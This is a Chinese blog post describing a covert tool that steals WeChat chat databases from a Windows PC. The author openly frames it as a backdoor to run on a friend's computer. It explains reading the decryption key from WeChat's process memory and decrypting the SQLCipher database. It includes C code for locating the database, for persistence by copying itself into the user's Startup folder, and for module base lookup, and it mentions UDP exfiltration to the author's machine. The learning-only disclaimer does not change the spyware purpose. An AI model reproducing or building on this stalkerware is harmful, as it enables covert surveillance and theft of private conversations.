美文网首页信息安全黑客
写一个工具来偷走Windows微信的聊天记录

写一个工具来偷走Windows微信的聊天记录

作者: 黑战士安全 | 来源:发表于2021-03-11 21:52 被阅读0次

    背景

    前段时间在网上看文章,看到一篇微信解密数据库的文章,然后突然有了想法,如果有一个类似后门的程序,在朋友的电脑上运行后(无中生友)把聊天记录发送过来,岂不是很爽(直接被警察叔叔抓走)。

    然后就去搜了文章和视频,主要学了关于微信逆向的各种操作,对微信的各个功能模块和行为流程有了初步的认识。

    文章讲下部分功能的原理和实现方式,完整代码在最后,不会开发代码很渣,师傅们凑活看,仅用于测试与学习。

    功能设计

    内容

    微信调用数据库的方法

    微信的数据库使用的是sqlite3,数据库文件在C:UsersXXXDocumentsWeChat Files微信账号Msg这个路径下,默认路径需要根据注册表来判断:

    HKEY_CURRENT_USER Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders的Personal

    微信先加载数据库,后利用密钥解密,加解密用到了 sqlcipher。其中主要的聊天记录都在MSG文件中,体积也会比较大。

    数据库解密

    PC版微信数据库解密详细教程https://bbs.pediy.com/thread-251303.htm

    这篇文章写的很详细,包括用OD找到密钥,脚本解密等。程序也用到了里面的解密脚本,但是出现了一个问题,就是大文件无法完全解密,从网上搜了下也没有解决方案,这个bug还需要研究下脚本才能解决。

    定位密钥基址和获取密钥

    通过OD获取密钥后,为了动态获取密钥,需要获取密钥的基址。使用FindWindow获取窗口句柄,然后用GetWindowThreadProcessId获取pid,OpenProcess打开进程句柄,利用CE找到的基址获取密钥,使用ReadProcessMemory读地址上的内容。和获取微信id,手机号,位置,昵称,二维码,头像的方法一致。比如这篇文章:

    PC 微信 Hook 实战记录 1: 找到个人信息https://blog.csdn.net/weixin_30230009/article/details/105100181

    功能实现

    获取数据库位置

    根据注册表获取微信默认位置,其中需要微信id,通过基址和偏移可以得到,具体想要获取的数据库名字需要自己改。。。

    void getPath(unsigned char *dbpath)

    {

        char cmd_command[256] = { 0 };

        char regname[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";

        HKEY hKey;

        DWORD dwType = REG_BINARY;

        REGSAM mode = KEY_READ;

        DWORD length = 256;

        int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hKey);

        ret = RegQueryValueEx(hKey, "Personal", 0, &dwType, dbpath, &length);

        if (ret == 0) {

            RegCloseKey(hKey);

        }

        else {

            printf("failed to open regedit.%d\n", ret);

        }

    开机自启

    想要获取每一段时间内的聊天记录,所以想做个可持续发展。改注册表动静有点大,选择一种低权限的方式,将后门放到shell:startup 目录下,也就是当前用户的启动目录,启动电脑后程序也会启动。

    int winStartUp()

    {

        unsigned char value[256] = { 0 };

        char cmd_command[256] = { 0 };

        char regname[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";

        HKEY hKey;

        DWORD dwType = REG_BINARY;

        REGSAM mode = KEY_READ;

        DWORD length = 256;

    int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hKey);

        ret = RegQueryValueEx(hKey, "Startup", 0, &dwType, value, &length);

    if (ret == 0) {

            RegCloseKey(hKey);

        }

    else {

    printf("failed to open regedit.%d\n", ret);

    return0;

        }

        sprintf_s(cmd_command, "copy wechatdb.exe \"%s\" /B", value);

    printf("%s\n",cmd_command);

    system(cmd_command);

    return0;

    }

    判断微信版本

    只要获取了WeChatWin.dll的文件版本,也就获取了微信的版本,两者是相同的,由于不同微信版本的密钥基址不同,所以如果微信版本不符合程序就可以直接退出了。

    DWORD IsWxVersionValid(WCHAR *VersionFilePath)

    {

    string asVer = "";

        VS_FIXEDFILEINFO* pVsInfo;

    unsignedint iFileInfoSize = sizeof(VS_FIXEDFILEINFO);

    int iVerInfoSize = GetFileVersionInfoSizeW(VersionFilePath, NULL);

    if (iVerInfoSize != 0) {

    char* pBuf = newchar[iVerInfoSize];

    if (GetFileVersionInfoW(VersionFilePath, 0, iVerInfoSize, pBuf)) {

    if (VerQueryValue(pBuf, TEXT("\\"), (void**)&pVsInfo, &iFileInfoSize)) {

    //主版本2.9.0.123

    //2

    int s_major_ver = (pVsInfo->dwFileVersionMS >> 16) & 0x0000FFFF;

    //9

    int s_minor_ver = pVsInfo->dwFileVersionMS & 0x0000FFFF;

    //0

    int s_build_num = (pVsInfo->dwFileVersionLS >> 16) & 0x0000FFFF;

    //123

    int s_revision_num = pVsInfo->dwFileVersionLS & 0x0000FFFF;

    //把版本变成字符串

                    strstream wxVer;

                    wxVer << s_major_ver << "." << s_minor_ver << "." << s_build_num << "." << s_revision_num;

                    wxVer >> asVer;

                }

            }

    delete[] pBuf;

        }

    printf("var = %s\n", asVer.c_str());

    if (asVer == wxVersoin1)

    return version1;

    elseif (asVer == wxVersoin2)

    return version2;

    else

    return0;

    }

    通过pid和模块名获取模块基址

    用了网上现成的代码,我写代码挺菜的,基本都是copy,感谢前辈的分享。。。

    PVOID GetProcessImageBase(DWORD dwProcessId, constchar* dllName)

    {

        PVOID pProcessImageBase = NULL;

        MODULEENTRY32 me32 = { 0 };

        me32.dwSize = sizeof(MODULEENTRY32);

    // 获取指定进程全部模块的快照

        HANDLE hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId);

    if (INVALID_HANDLE_VALUE == hModuleSnap)

        {

    return pProcessImageBase;

        }

    // 获取快照中第一条信息

        BOOL bRet = ::Module32First(hModuleSnap, &me32);

    while (strcmp((char*)me32.szModule, dllName) != 0)

        {

            Module32Next(hModuleSnap, &me32);

        }

        pProcessImageBase = (PVOID)me32.modBaseAddr;

    // 关闭句柄

        ::CloseHandle(hModuleSnap);

    return pProcessImageBase;

    }

    测试

    本机ip:192.168.18.4

    虚拟机ip:192.168.154.130

    总结和思考

    UDP传输的不稳定性,网络原因导致数据库内容缺失,换成TCP传输更稳定。

    数据库解密功能有bug,内容大于50m时无法解密全部内容,需要改善。

    函数没有做安全性的处理,容易引发溢出等问题,被反日。

    数据库的加密验证,往往只在于打开数据库的时候,一旦数据库被打开,剩下的操作,则不再对加密进行验证。因此,我们等数据库打开之后,获取db这个数值,然后就可以“非法”地调用sqlite3_exec函数,来执行我们期望的操作。如果这样操作,那么无论软件设计人员设计的任何加密方式,都形同虚设。也就是说,我们可以轻松地实现“绕过加密来访问SQLite数据库”。为了实现“绕过加密来访问SQLite数据库”,接下来需要解决三个问题:

    如何取得已打开的数据库的句柄db的具体数值?

    可被非法地调用的sqlite3_exec函数在哪里?

    如何非法地调用sqlite3_exec函数?

    还需要继续研究完善下功能。

    github地址:

    https://github.com/A2kaid/Get-WeChat-DB

    最后补一句,仅用于测试与学习,禁止非法用途。

    参考文章和项目

    https://blog.csdn.net/qq_38474570/article/details/96606530PC微信逆向:两种姿势教你解密数据库文件

    https://github.com/zzyzhangziyu/wechat-db-decrypt解密Windows微信聊天记录数据库

    https://github.com/cdjjustin/UDPUDP大文件传输

    https://www.52pojie.cn/thread-1084703-1-1.htmlPC微信逆向分析の绕过加密访问SQLite数据库

    https://blog.csdn.net/weixin_30230009/article/details/105100181

    https://bbs.pediy.com/thread-251303.htm

    相关文章

      网友评论

        本文标题:写一个工具来偷走Windows微信的聊天记录

        本文链接:https://www.haomeiwen.com/subject/nxnoqltx.html